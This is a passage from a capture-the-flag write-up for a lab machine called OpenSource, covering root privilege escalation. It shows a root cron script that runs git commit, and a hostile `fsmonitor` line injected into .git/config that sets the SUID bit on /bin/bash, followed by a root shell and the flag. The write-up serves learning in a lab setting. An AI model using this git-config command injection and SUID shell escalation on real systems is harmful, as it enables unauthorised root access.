Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
2023/03/15 10:49:01 CMD: UID=0 PID=8943 | /bin/bash /usr/local/bin/git-sync
2023/03/15 10:49:01 CMD: UID=0 PID=8944 | /bin/bash /usr/local/bin/git-sync
2023/03/15 10:49:01 CMD: UID=0 PID=8946 | /bin/bash /usr/local/bin/git-sync
2023/03/15 10:49:01 CMD: UID=0 PID=8947 | /usr/lib/git-core/git-remote-http

Let’s take a look at this file. It seems that it is looking for changes in /home/dev01. If there are any changes then it performs a git commit.

dev01@opensource:/tmp$ ls -lash /usr/local/bin/git-sync
4.0K -rwxr-xr-x 1 root root 239 Mar 23 2022 /usr/local/bin/git-sync
dev01@opensource:/tmp$ cat /usr/local/bin/git-sync
#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi

According to the official walkthrough, we can abuse this by adding a command to the .git/config file to give the /bin/bash binary SUID permissions so that it will automatically elevate us to root when we run it. Let’s give it a go. The following line needs to be added to the .git/config file, then the fsmonitor command will get executed when git commit is run.

fsmonitor = "chmod 4755 /bin/bash"
Nano

And that is that after waiting a moment you can list the ‘/bin/bash’ file and see that it now has the SUID bit set. You need only run the bash command to elevate to root and capture the root flag.

bash-4.4$ ls -laSh /bin/bash
-rwsr-xr-x 1 root root 1.1M Apr 18 2022 /bin/bash
bash-4.4$ bash -p
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt
9eb▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓8f7

OpenSource Review

I had a lot of fun with this one and learnt a lot. I can honestly say though that I wouldn’t have had a clue what to do. The path to the user flag was very complicated. I realise the word ‘very’ is unessasary here but it was VERY complicated. We had to pivot through docker containers and learn how to use versioning in git. Wow. While I definitely don’t think this was easy, it was fun.